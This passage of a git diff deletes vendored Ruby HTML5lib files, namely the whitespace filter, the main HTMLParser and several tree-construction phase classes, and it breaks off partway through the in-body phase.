--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/whitespace.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'html5/constants'
-require 'html5/filters/base'
-
-module HTML5
-  module Filters
-    class WhitespaceFilter < Base
-
-      SPACE_PRESERVE_ELEMENTS = %w[pre textarea] + RCDATA_ELEMENTS
-      SPACES = /[#{SPACE_CHARACTERS.join('')}]+/m
-
-      def each
-        preserve = 0
-        __getobj__.each do |token|
-          case token[:type]
-          when :StartTag
-            if preserve > 0 or SPACE_PRESERVE_ELEMENTS.include?(token[:name])
-              preserve += 1
-            end
-
-          when :EndTag
-            preserve -= 1 if preserve > 0
-
-          when :SpaceCharacters
-            token[:data] = " " if preserve == 0 && token[:data]
-
-          when :Characters
-            token[:data] = token[:data].sub(SPACES,' ') if preserve == 0
-          end
-
-          yield token
-        end
-      end
-    end
-  end
-end
-
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser.rb
deleted file mode 100644
index edcb8de8..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser.rb
+++ /dev/null
@@ -1,248 +0,0 @@
-require 'html5/constants'
-require 'html5/tokenizer'
-require 'html5/treebuilders/rexml'
-
-Dir.glob(File.join(File.dirname(__FILE__), 'html5parser', '*_phase.rb')).each do |path|
-  require 'html5/html5parser/' + File.basename(path)
-end
-
-module HTML5
-
-  # Error in parsed document
-  class ParseError < Exception; end
-  class AssertionError < Exception; end
-
-  # HTML parser. Generates a tree structure from a stream of (possibly malformed) HTML
-  #
-  class HTMLParser
-
-    attr_accessor :phase, :first_start_tag, :inner_html, :last_phase, :insert_from_table
-
-    attr_reader :phases, :tokenizer, :tree, :errors
-
-    def self.parse(stream, options = {})
-      encoding = options.delete(:encoding)
-      new(options).parse(stream,encoding)
-    end
-
-    def self.parse_fragment(stream, options = {})
-      container = options.delete(:container) || 'div'
-      encoding = options.delete(:encoding)
-      new(options).parse_fragment(stream, container, encoding)
-    end
-
-    @@phases = %w( initial rootElement beforeHead inHead afterHead inBody inTable inCaption
-      inColumnGroup inTableBody inRow inCell inSelect afterBody inFrameset afterFrameset trailingEnd )
-
-    # :strict - raise an exception when a parse error is encountered
-    # :tree - a treebuilder class controlling the type of tree that will be
-    # returned. Built in treebuilders can be accessed through
-    # HTML5::TreeBuilders[treeType]
-    def initialize(options = {})
-      @strict = false
-      @errors = []
-     
-      @tokenizer =  HTMLTokenizer
-      @tree = TreeBuilders::REXML::TreeBuilder
-
-      options.each {|name, value| instance_variable_set("@#{name}", value) }
-      @lowercase_attr_name    = nil unless instance_variable_defined?("@lowercase_attr_name")
-      @lowercase_element_name = nil unless instance_variable_defined?("@lowercase_element_name")
-
-      @tree = @tree.new
-
-      @phases = @@phases.inject({}) do |phases, phase_name|
-        phase_class_name = phase_name.sub(/(.)/) { $1.upcase } + 'Phase'
-        phases[phase_name.to_sym] = HTML5.const_get(phase_class_name).new(self, @tree)
-        phases
-      end
-    end
-
-    def _parse(stream, inner_html, encoding, container = 'div')
-      @tree.reset
-      @first_start_tag = false
-      @errors = []
-
-      @tokenizer = @tokenizer.class unless Class === @tokenizer
-      @tokenizer = @tokenizer.new(stream, :encoding => encoding,
-        :parseMeta => !inner_html, :lowercase_attr_name => @lowercase_attr_name, :lowercase_element_name => @lowercase_element_name)
-
-      if inner_html
-        case @inner_html = container.downcase
-        when 'title', 'textarea'
-          @tokenizer.content_model_flag = :RCDATA
-        when 'style', 'script', 'xmp', 'iframe', 'noembed', 'noframes', 'noscript'
-          @tokenizer.content_model_flag = :CDATA
-        when 'plaintext'
-          @tokenizer.content_model_flag = :PLAINTEXT
-        else
-          # content_model_flag already is PCDATA
-          @tokenizer.content_model_flag = :PCDATA
-        end
-      
-        @phase = @phases[:rootElement]
-        @phase.insert_html_element
-        reset_insertion_mode
-      else
-        @inner_html = false
-        @phase = @phases[:initial]
-      end
-
-      # We only seem to have InBodyPhase testcases where the following is
-      # relevant ... need others too
-      @last_phase = nil
-
-      # XXX This is temporary for the moment so there isn't any other
-      # changes needed for the parser to work with the iterable tokenizer
-      @tokenizer.each do |token|
-        token = normalize_token(token)
-
-        method = 'process%s' % token[:type]
-
-        case token[:type]
-        when :Characters, :SpaceCharacters, :Comment
-          @phase.send method, token[:data]
-        when :StartTag
-          @phase.send method, token[:name], token[:data]
-        when :EndTag
-          @phase.send method, token[:name]
-        when :Doctype
-          @phase.send method, token[:name], token[:publicId],
-            token[:systemId], token[:correct]
-        else
-          parse_error(token[:data], token[:datavars])
-        end
-      end
-
-      # When the loop finishes it's EOF
-      @phase.process_eof
-    end
-
-    # Parse a HTML document into a well-formed tree
-    #
-    # stream - a filelike object or string containing the HTML to be parsed
-    #
-    # The optional encoding parameter must be a string that indicates
-    # the encoding.  If specified, that encoding will be used,
-    # regardless of any BOM or later declaration (such as in a meta
-    # element)
-    def parse(stream, encoding=nil)
-      _parse(stream, false, encoding)
-      @tree.get_document
-    end
-
-    # Parse a HTML fragment into a well-formed tree fragment
-
-    # container - name of the element we're setting the inner_html property
-    # if set to nil, default to 'div'
-    #
-    # stream - a filelike object or string containing the HTML to be parsed
-    #
-    # The optional encoding parameter must be a string that indicates
-    # the encoding.  If specified, that encoding will be used,
-    # regardless of any BOM or later declaration (such as in a meta
-    # element)
-    def parse_fragment(stream, container='div', encoding=nil)
-      _parse(stream, true, encoding, container)
-      @tree.get_fragment
-    end
-
-    def parse_error(code = 'XXX-undefined-error', data = {})
-      # XXX The idea is to make data mandatory.
-      @errors.push([@tokenizer.stream.position, code, data])
-      raise ParseError if @strict
-    end
-
-    # HTML5 specific normalizations to the token stream
-    def normalize_token(token)
-
-      if token[:type] == :EmptyTag
-        # When a solidus (/) is encountered within a tag name what happens
-        # depends on whether the current tag name matches that of a void
-        # element.  If it matches a void element atheists did the wrong
-        # thing and if it doesn't it's wrong for everyone.
-
-        unless VOID_ELEMENTS.include?(token[:name])
-          parse_error("incorrectly-placed-solidus")
-        end
-
-        token[:type] = :StartTag
-      end
-
-      if token[:type] == :StartTag
-        token[:name] = token[:name].downcase
-
-        # We need to remove the duplicate attributes and convert attributes
-        # to a dict so that [["x", "y"], ["x", "z"]] becomes {"x": "y"}
-
-        unless token[:data].empty?
-          data = token[:data].reverse.map {|attr, value| [attr.downcase, value] }
-          token[:data] = Hash[*data.flatten]
-        end
-
-      elsif token[:type] == :EndTag
-        parse_error("attributes-in-end-tag") unless token[:data].empty?
-        token[:name] = token[:name].downcase
-      end
-
-      token
-    end
-
-    @@new_modes = {
-      'select'   => :inSelect,
-      'td'       => :inCell,
-      'th'       => :inCell,
-      'tr'       => :inRow,
-      'tbody'    => :inTableBody,
-      'thead'    => :inTableBody,
-      'tfoot'    => :inTableBody,
-      'caption'  => :inCaption,
-      'colgroup' => :inColumnGroup,
-      'table'    => :inTable,
-      'head'     => :inBody,
-      'body'     => :inBody,
-      'frameset' => :inFrameset
-    }
-
-    def reset_insertion_mode
-      # The name of this method is mostly historical. (It's also used in the
-      # specification.)
-      last = false
-
-      @tree.open_elements.reverse.each do |node|
-        node_name = node.name
-
-        if node == @tree.open_elements.first
-          last = true
-          unless ['td', 'th'].include?(node_name)
-            # XXX
-            # assert @inner_html
-            node_name = @inner_html
-          end
-        end
-
-        # Check for conditions that should only happen in the inner_html
-        # case
-        if ['select', 'colgroup', 'head', 'frameset'].include?(node_name)
-          # XXX
-          # assert @inner_html
-        end
-
-        if @@new_modes.has_key?(node_name)
-          @phase = @phases[@@new_modes[node_name]]
-        elsif node_name == 'html'
-          @phase = @phases[@tree.head_pointer.nil?? :beforeHead : :afterHead]
-        elsif last
-          @phase = @phases[:inBody]
-        else
-          next
-        end
-
-        break
-      end
-    end
-
-    def _(string); string; end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_body_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_body_phase.rb
deleted file mode 100644
index 2cba741b..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_body_phase.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class AfterBodyPhase < Phase
-
-    handle_end 'html'
-
-    def processComment(data)
-      # This is needed because data is to be appended to the <html> element
-      # here and not to whatever is currently open.
-      @tree.insert_comment(data, @tree.open_elements.first)
-    end
-
-    def processCharacters(data)
-      parse_error("unexpected-char-after-body")
-      @parser.phase = @parser.phases[:inBody]
-      @parser.phase.processCharacters(data)
-    end
-
-    def processStartTag(name, attributes)
-      parse_error("unexpected-start-tag-after-body", {"name" => name})
-      @parser.phase = @parser.phases[:inBody]
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def endTagHtml(name)
-      if @parser.inner_html
-        parse_error "end-html-in-innerhtml"
-      else
-        # XXX: This may need to be done, not sure
-        # Don't set last_phase to the current phase but to the inBody phase
-        # instead. No need for extra parse errors if there's something after </html>.
-        # Try "<!doctype html>X</html>X" for instance.
-        @parser.last_phase = @parser.phase
-        @parser.phase      = @parser.phases[:trailingEnd]
-      end
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag-after-body", {"name" => name})
-      @parser.phase = @parser.phases[:inBody]
-      @parser.phase.processEndTag(name)
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_frameset_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_frameset_phase.rb
deleted file mode 100644
index 43416232..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_frameset_phase.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class AfterFramesetPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#after3
-
-    handle_start 'html', 'noframes'
-
-    handle_end 'html'
-
-    def processCharacters(data)
-      parse_error("unexpected-char-after-frameset")
-    end
-
-    def startTagNoframes(name, attributes)
-      @parser.phases[:inBody].processStartTag(name, attributes)
-    end
-
-    def startTagOther(name, attributes)
-      parse_error("unexpected-start-tag-after-frameset", {"name" => name})
-    end
-
-    def endTagHtml(name)
-      @parser.last_phase = @parser.phase
-      @parser.phase      = @parser.phases[:trailingEnd]
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag-after-frameset", {"name" => name})
-    end
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_head_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_head_phase.rb
deleted file mode 100644
index 2460134c..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/after_head_phase.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class AfterHeadPhase < Phase
-
-    handle_start 'html', 'body', 'frameset', %w( base link meta script style title ) => 'FromHead'
-
-    def process_eof
-      anything_else
-      @parser.phase.process_eof
-    end
-
-    def processCharacters(data)
-      anything_else
-      @parser.phase.processCharacters(data)
-    end
-
-    def startTagBody(name, attributes)
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inBody]
-    end
-
-    def startTagFrameset(name, attributes)
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inFrameset]
-    end
-
-    def startTagFromHead(name, attributes)
-      parse_error("unexpected-start-tag-out-of-my-head", {"name" => name})
-      @parser.phase = @parser.phases[:inHead]
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def startTagOther(name, attributes)
-      anything_else
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def processEndTag(name)
-      anything_else
-      @parser.phase.processEndTag(name)
-    end
-
-    def anything_else
-      @tree.insert_element('body', {})
-      @parser.phase = @parser.phases[:inBody]
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/before_head_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/before_head_phase.rb
deleted file mode 100644
index f3419594..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/before_head_phase.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class BeforeHeadPhase < Phase
-
-    handle_start 'html', 'head'
-
-    handle_end %w( html head body br p ) => 'ImplyHead'
-
-    def process_eof
-      startTagHead('head', {})
-      @parser.phase.process_eof
-    end
-
-    def processCharacters(data)
-      startTagHead('head', {})
-      @parser.phase.processCharacters(data)
-    end
-
-    def startTagHead(name, attributes)
-      @tree.insert_element(name, attributes)
-      @tree.head_pointer = @tree.open_elements[-1]
-      @parser.phase = @parser.phases[:inHead]
-    end
-
-    def startTagOther(name, attributes)
-      startTagHead('head', {})
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def endTagImplyHead(name)
-      startTagHead('head', {})
-      @parser.phase.processEndTag(name)
-    end
-
-    def endTagOther(name)
-      parse_error("end-tag-after-implied-root", {"name" => name})
-    end
-
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_body_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_body_phase.rb
deleted file mode 100644
index 4ec74060..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_body_phase.rb
+++ /dev/null
@@ -1,609 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InBodyPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-body
-
-    handle_start 'html'
-    handle_start %w(base link meta script style) => 'ProcessInHead'
-    handle_start 'title'
-
-    handle_start 'body', 'form', 'plaintext', 'a', 'button', 'xmp', 'table', 'hr', 'image'
-
-    handle_start 'input', 'textarea', 'select', 'isindex', %w(marquee object)
-
-    handle_start %w(li dd dt) => 'ListItem'
-
-    handle_start %w(address blockquote center dir div dl fieldset listing menu ol p pre ul) => 'CloseP'
-
-    handle_start %w(b big em font i s small strike strong tt u) => 'Formatting'
-    handle_start 'nobr'
-
-    handle_start %w(area basefont bgsound br embed img param spacer wbr) => 'VoidFormatting'
-
-    handle_start %w(iframe noembed noframes noscript) => 'Cdata', HEADING_ELEMENTS => 'Heading'
-
-    handle_start %w(caption col colgroup frame frameset head option optgroup tbody td tfoot th thead tr) => 'Misplaced'
-
-    handle_start %w(event-source section nav article aside header footer datagrid command) => 'New'
-
-    handle_end 'p', 'body', 'html', 'form', %w(button marquee object), %w(dd dt li) => 'ListItem'
-
-    handle_end %w(address blockquote center div dl fieldset listing menu ol pre ul) => 'Block'
-
-    handle_end HEADING_ELEMENTS => 'Heading'
-
-    handle_end %w(a b big em font i nobr s small strike strong tt u) => 'Formatting'
-
-    handle_end %w(head frameset select optgroup option table caption colgroup col thead tfoot tbody tr td th) => 'Misplaced'
-
-    handle_end 'br'
-
-    handle_end %w(area basefont bgsound embed hr image img input isindex param spacer wbr frame) => 'None'
-
-    handle_end %w(noframes noscript noembed textarea xmp iframe ) => 'CdataTextAreaXmp'
-
-    handle_end %w(event-source section nav article aside header footer datagrid command) => 'New'
-
-    def initialize(parser, tree)
-      super(parser, tree)
-
-      # for special handling of whitespace in <pre>
-      class << self
-        alias processSpaceCharactersNonPre processSpaceCharacters
-      end
-    end
-
-    def processSpaceCharactersDropNewline(data)
-      # #Sometimes (start of <pre> blocks) we want to drop leading newlines
-
-      class << self
-        remove_method :processSpaceCharacters rescue nil
-        alias processSpaceCharacters processSpaceCharactersNonPre
-      end
-      
-      if (data.length > 0 and data[0] == ?\n && 
-        %w[pre textarea].include?(@tree.open_elements.last.name) && !@tree.open_elements.last.hasContent)
-        data = data[1..-1]
-      end
-
-      if data.length > 0
-        @tree.reconstructActiveFormattingElements
-        @tree.insertText(data)
-      end
-    end
-
-    def processSpaceCharacters(data)
-      @tree.reconstructActiveFormattingElements()
-      @tree.insertText(data)
-    end
-
-    def processCharacters(data)
-      # XXX The specification says to do this for every character at the
-      # moment, but apparently that doesn't match the real world so we don't
-      # do it for space characters.
-      @tree.reconstructActiveFormattingElements
-      @tree.insertText(data)
-    end
-
-    def startTagProcessInHead(name, attributes)
-      @parser.phases[:inHead].processStartTag(name, attributes)
-    end
-
-    def startTagTitle(name, attributes)
-      parse_error("unexpected-start-tag-out-of-my-head", {"name" => name})
-      @parser.phases[:inHead].processStartTag(name, attributes)
-    end
-
-    def startTagBody(name, attributes)
-      parse_error("unexpected-start-tag", {"name" => "body"})
-
-      if @tree.open_elements.length == 1 || @tree.open_elements[1].name != 'body'
-        assert @parser.inner_html
-      else
-        attributes.each do |attr, value|
-          unless @tree.open_elements[1].attributes.has_key?(attr)
-            @tree.open_elements[1].attributes[attr] = value
-          end
-        end
-      end
-    end
-
-    def startTagCloseP(name, attributes)
-      endTagP('p') if in_scope?('p')
-      @tree.insert_element(name, attributes)
-      if name == 'pre'
-        class << self
-          remove_method :processSpaceCharacters rescue nil
-          alias processSpaceCharacters processSpaceCharactersDropNewline
-        end
-      end
-    end
-
-    def startTagForm(name, attributes)
-      if @tree.formPointer
-        parse_error("unexpected-start-tag", {"name" => name})
-      else
-        endTagP('p') if in_scope?('p')
-        @tree.insert_element(name, attributes)
-        @tree.formPointer = @tree.open_elements.last
-      end
-    end
-
-    def startTagListItem(name, attributes)
-      endTagP('p') if in_scope?('p')
-      stopNames = {'li' => ['li'], 'dd' => ['dd', 'dt'], 'dt' => ['dd', 'dt']}
-      stopName = stopNames[name]
-
-      @tree.open_elements.reverse.each_with_index do |node, i|
-        if stopName.include?(node.name)
-          poppedNodes = (0..i).collect { @tree.open_elements.pop }
-          if i >= 1
-            parse_error(
-                i == 1 ? "missing-end-tag" : "missing-end-tags",
-                {"name" => poppedNodes[0..-1].collect{|n| n.name}.join(", ")})
-
-          end
-          break
-        end
-
-        # Phrasing elements are all non special, non scoping, non
-        # formatting elements
-        break if ((SPECIAL_ELEMENTS + SCOPING_ELEMENTS).include?(node.name) && !%w[address div].include?(node.name))
-      end
-
-      # Always insert an <li> element.
-      @tree.insert_element(name, attributes)
-    end
-
-    def startTagPlaintext(name, attributes)
-      endTagP('p') if in_scope?('p')
-      @tree.insert_element(name, attributes)
-      @parser.tokenizer.content_model_flag = :PLAINTEXT
-    end
-
-    def startTagHeading(name, attributes)
-      endTagP('p') if in_scope?('p')
-
-      # Uncomment the following for IE7 behavior:
-      # HEADING_ELEMENTS.each do |element|
-      #   if in_scope?(element)
-      #     parse_error("unexpected-start-tag", {"name" => name})
-      # 
-      #     remove_open_elements_until do |element|
-      #       HEADING_ELEMENTS.include?(element.name)
-      #     end
-      #
-      #     break
-      #   end
-      # end
-      @tree.insert_element(name, attributes)
-    end
-
-    def startTagA(name, attributes)
-      if afeAElement = @tree.elementInActiveFormattingElements('a')
-        parse_error("unexpected-start-tag-implies-end-tag", {"startName" => "a", "endName" => "a"})
-        endTagFormatting('a')
-        @tree.open_elements.delete(afeAElement) if @tree.open_elements.include?(afeAElement)
-        @tree.activeFormattingElements.delete(afeAElement) if @tree.activeFormattingElements.include?(afeAElement)
-      end
-      @tree.reconstructActiveFormattingElements
-      addFormattingElement(name, attributes)
-    end
-
-    def startTagFormatting(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      addFormattingElement(name, attributes)
-    end
-
-    def startTagNobr(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      if in_scope?('nobr')
-        parse_error("unexpected-start-tag-implies-end-tag", {"startName" => "nobr", "endName" => "nobr"})
-        processEndTag('nobr')
-        # XXX Need tests that trigger the following
-        @tree.reconstructActiveFormattingElements
-      end
-      addFormattingElement(name, attributes)
-    end
-
-    def startTagButton(name, attributes)
-      if in_scope?('button')
-        parse_error("unexpected-start-tag-implies-end-tag", {"startName" => "button", "endName" => "button"})
-        processEndTag('button')
-        @parser.phase.processStartTag(name, attributes)
-      else
-        @tree.reconstructActiveFormattingElements
-        @tree.insert_element(name, attributes)
-        @tree.activeFormattingElements.push(Marker)
-      end
-    end
-
-    def startTagMarqueeObject(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-      @tree.activeFormattingElements.push(Marker)
-    end
-
-    def startTagXmp(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-      @parser.tokenizer.content_model_flag = :CDATA
-    end
-
-    def startTagTable(name, attributes)
-      processEndTag('p') if in_scope?('p')
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inTable]
-    end
-
-    def startTagVoidFormatting(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-      @tree.open_elements.pop
-    end
-
-    def startTagHr(name, attributes)
-      endTagP('p') if in_scope?('p')
-      @tree.insert_element(name, attributes)
-      @tree.open_elements.pop
-    end
-
-    def startTagImage(name, attributes)
-      # No really...
-      parse_error("unexpected-start-tag-treated-as", {"originalName" => "image", "newName" => "img"})
-      processStartTag('img', attributes)
-    end
-
-    def startTagInput(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-      if @tree.formPointer
-        # XXX Not exactly sure what to do here
-        # @tree.open_elements[-1].form = @tree.formPointer
-      end
-      @tree.open_elements.pop
-    end
-
-    def startTagIsindex(name, attributes)
-      parse_error("deprecated-tag", {"name" => "isindex"})
-      return if @tree.formPointer
-      processStartTag('form', {})
-      processStartTag('hr', {})
-      processStartTag('p', {})
-      processStartTag('label', {})
-      # XXX Localization ...
-      processCharacters('This is a searchable index. Insert your search keywords here: ')
-      attributes['name'] = 'isindex'
-      attrs = attributes.to_a
-      processStartTag('input', attributes)
-      processEndTag('label')
-      processEndTag('p')
-      processStartTag('hr', {})
-      processEndTag('form')
-    end
-
-    def startTagTextarea(name, attributes)
-      # XXX Form element pointer checking here as well...
-      @tree.insert_element(name, attributes)
-      @parser.tokenizer.content_model_flag = :RCDATA
-      class << self
-        remove_method :processSpaceCharacters rescue nil
-        alias processSpaceCharacters processSpaceCharactersDropNewline
-      end
-    end
-
-    # iframe, noembed noframes, noscript(if scripting enabled)
-    def startTagCdata(name, attributes)
-      @tree.insert_element(name, attributes)
-      @parser.tokenizer.content_model_flag = :CDATA
-    end
-
-    def startTagSelect(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inSelect]
-    end
-
-    def startTagMisplaced(name, attributes)
-      # Elements that should be children of other elements that have a
-      # different insertion mode; here they are ignored
-      # "caption", "col", "colgroup", "frame", "frameset", "head",
-      # "option", "optgroup", "tbody", "td", "tfoot", "th", "thead",
-      # "tr", "noscript"
-      parse_error("unexpected-start-tag-ignored", {"name" => name})
-    end
-
-    def startTagNew(name, attributes)
-      # New HTML5 elements, "event-source", "section", "nav",
-      # "article", "aside", "header", "footer", "datagrid", "command"
-      # $stderr.puts("Warning: Undefined behaviour for start tag #{name}")
-      startTagOther(name, attributes)
-      #raise NotImplementedError
-    end
-
-    def startTagOther(name, attributes)
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, attributes)
-    end
-
-    def endTagP(name)
-      @tree.generateImpliedEndTags('p') if in_scope?('p')
-      parse_error("unexpected-end-tag", {"name" => "p"}) unless @tree.open_elements.last.name == 'p'
-      if in_scope?('p')
-        @tree.open_elements.pop while in_scope?('p')
-      else
-        startTagCloseP('p', {})
-        endTagP('p')
-      end
-    end
-
-    def endTagBody(name)
-      # XXX Need to take open <p> tags into account here. We shouldn't imply
-      # </p> but we should not throw a parse error either. Specification is
-      # likely to be updated.
-      unless @tree.open_elements[1] && @tree.open_elements[1].name == 'body'
-        # inner_html case
-        parse_error "unexpected-end-tag", {:name => 'body'}
-        return
-      end
-      unless @tree.open_elements.last.name == 'body'
-        parse_error("expected-one-end-tag-but-got-another",
-                {"expectedName" => "body",
-                 "gotName" => @tree.open_elements.last.name})
-      end
-      @parser.phase = @parser.phases[:afterBody]
-    end
-
-    def endTagHtml(name)
-      endTagBody(name)
-      @parser.phase.processEndTag(name) unless @parser.inner_html
-    end
-
-    def endTagBlock(name)
-      @tree.generateImpliedEndTags if in_scope?(name)
-
-      unless @tree.open_elements.last.name == name
-        parse_error("end-tag-too-early", {"name" => name})
-      end
-
-      if in_scope?(name)
-        remove_open_elements_until(name)
-      end
-    end
-
-    def endTagForm(name)
-      if in_scope?(name)
-        @tree.generateImpliedEndTags
-      end
-      if @tree.open_elements.last.name != name
-        parse_error("end-tag-too-early-ignored", {"name" => "form"})
-      else
-        @tree.open_elements.pop
-      end
-      @tree.formPointer = nil
-    end
-
-    def endTagListItem(name)
-      # AT Could merge this with the Block case
-      @tree.generateImpliedEndTags(name) if in_scope?(name)
-
-      unless @tree.open_elements.last.name == name
-        parse_error("end-tag-too-early", {"name" => name})
-      end
-
-      remove_open_elements_until(name) if in_scope?(name)
-    end  
-
-    def endTagHeading(name)
-      HEADING_ELEMENTS.each do |element|
-        if in_scope?(element)
-          @tree.generateImpliedEndTags
-          break
-        end
-      end
-
-      unless @tree.open_elements.last.name == name
-        parse_error("end-tag-too-early", {"name" => name})
-      end
-
-      HEADING_ELEMENTS.each do |element|
-        if in_scope?(element)
-          remove_open_elements_until {|element| HEADING_ELEMENTS.include?(element.name)}
-          break
-        end
-      end
-    end
-
-    # The much-feared adoption agency algorithm
-    def endTagFormatting(name)
-      # http://www.whatwg.org/specs/web-apps/current-work/#adoptionAgency
-      # XXX Better parse_error messages appreciated.
-      while true
-        # Step 1 paragraph 1
-        afeElement = @tree.elementInActiveFormattingElements(name)
-        if !afeElement or (@tree.open_elements.include?(afeElement) && !in_scope?(afeElement.name))
-          parse_error("adoption-agency-1.1", {"name" => name})
-          return
-        # Step 1 paragraph 2
-        elsif not @tree.open_elements.include?(afeElement)
-          parse_error("adoption-agency-1.2", {"name" => name})
-          @tree.activeFormattingElements.delete(afeElement)
-          return
-        end
-
-        # Step 1 paragraph 3
-        if afeElement != @tree.open_elements.last
-          parse_error("adoption-agency-1.3", {"name" => name})
-        end
-
-        # Step 2
-        # Start of the adoption agency algorithm proper
-        afeIndex = @tree.open_elements.index(afeElement)
-        furthestBlock = nil
-        @tree.open_elements[afeIndex..-1].each do |element|
-          if (SPECIAL_ELEMENTS + SCOPING_ELEMENTS).include?(element.name)
-            furthestBlock = element
-            break
-          end
-        end
-
-        # Step 3
-        if furthestBlock.nil?
-          element = remove_open_elements_until {|element| element == afeElement }
-          @tree.activeFormattingElements.delete(element)
-          return
-        end
-        commonAncestor = @tree.open_elements[afeIndex - 1]
-
-        # Step 5
-        furthestBlock.parent.removeChild(furthestBlock) if furthestBlock.parent
-
-        # Step 6
-        # The bookmark is supposed to help us identify where to reinsert
-        # nodes in step 12. We have to ensure that we reinsert nodes after
-        # the node before the active formatting element. Note the bookmark
-        # can move in step 7.4
-        bookmark = @tree.activeFormattingElements.index(afeElement)
-
-        # Step 7
-        lastNode = node = furthestBlock
-        while true
-          # AT replace this with a function and recursion?
-          # Node is element before node in open elements
-          node = @tree.open_elements[@tree.open_elements.index(node) - 1]
-          until @tree.activeFormattingElements.include?(node)
-            tmpNode = node
-            node = @tree.open_elements[@tree.open_elements.index(node) - 1]
-            @tree.open_elements.delete(tmpNode)
-          end
-          # Step 7.3
-          break if node == afeElement
-          # Step 7.4
-          if lastNode == furthestBlock
-            # XXX should this be index(node) or index(node)+1
-            # Anne: I think +1 is ok. Given x = [2,3,4,5]
-            # x.index(3) gives 1 and then x[1 +1] gives 4...
-            bookmark = @tree.activeFormattingElements.index(node) + 1
-          end
-          # Step 7.5
-          cite = node.parent
-          if node.hasContent
-            clone = node.cloneNode
-            # Replace node with clone
-            @tree.activeFormattingElements[@tree.activeFormattingElements.index(node)] = clone
-            @tree.open_elements[@tree.open_elements.index(node)] = clone
-            node = clone
-          end
-          # Step 7.6
-          # Remove lastNode from its parents, if any
-          lastNode.parent.removeChild(lastNode) if lastNode.parent
-          node.appendChild(lastNode)
-          # Step 7.7
-          lastNode = node
-          # End of inner loop
-        end
-
-        # Step 8
-        lastNode.parent.removeChild(lastNode) if lastNode.parent
-        commonAncestor.appendChild(lastNode)
-
-        # Step 9
-        clone = afeElement.cloneNode
-
-        # Step 10
-        furthestBlock.reparentChildren(clone)
-
-        # Step 11
-        furthestBlock.appendChild(clone)
-
-        # Step 12
-        @tree.activeFormattingElements.delete(afeElement)
-        @tree.activeFormattingElements.insert([bookmark,@tree.activeFormattingElements.length].min, clone)
-
-        # Step 13
-        @tree.open_elements.delete(afeElement)
-        @tree.open_elements.insert(@tree.open_elements.index(furthestBlock) + 1, clone)
-      end
-    end
-
-    def endTagButtonMarqueeObject(name)
-      @tree.generateImpliedEndTags if in_scope?(name)
-
-      unless @tree.open_elements.last.name == name
-        parse_error("end-tag-too-early", {"name" => name})
-      end
-
-      if in_scope?(name)
-        remove_open_elements_until(name)
-
-        @tree.clearActiveFormattingElements
-      end
-    end
-
-    def endTagMisplaced(name)
-      # This handles elements with end tags in other insertion modes.
-      parse_error("unexpected-end-tag", {"name" => name})
-    end
-
-    def endTagBr(name)
-      parse_error("unexpected-end-tag-treated-as",
-            {"originalName" => "br", "newName" => "br element"})
-      @tree.reconstructActiveFormattingElements
-      @tree.insert_element(name, {})
-      @tree.open_elements.pop()
-    end
-
-    def endTagNone(name)
-      # This handles elements with no end tag.
-      parse_error("no-end-tag", {"name" => name})
-    end
-
-    def endTagCdataTextAreaXmp(name)
-      if @tree.open_elements.last.name == name
-        @tree.open_elements.pop
-      else
-        parse_error("unexpected-end-tag", {"name" => name})
-      end
-    end
-
-    def endTagNew(name)
-      # New HTML5 elements, "event-source", "section", "nav",
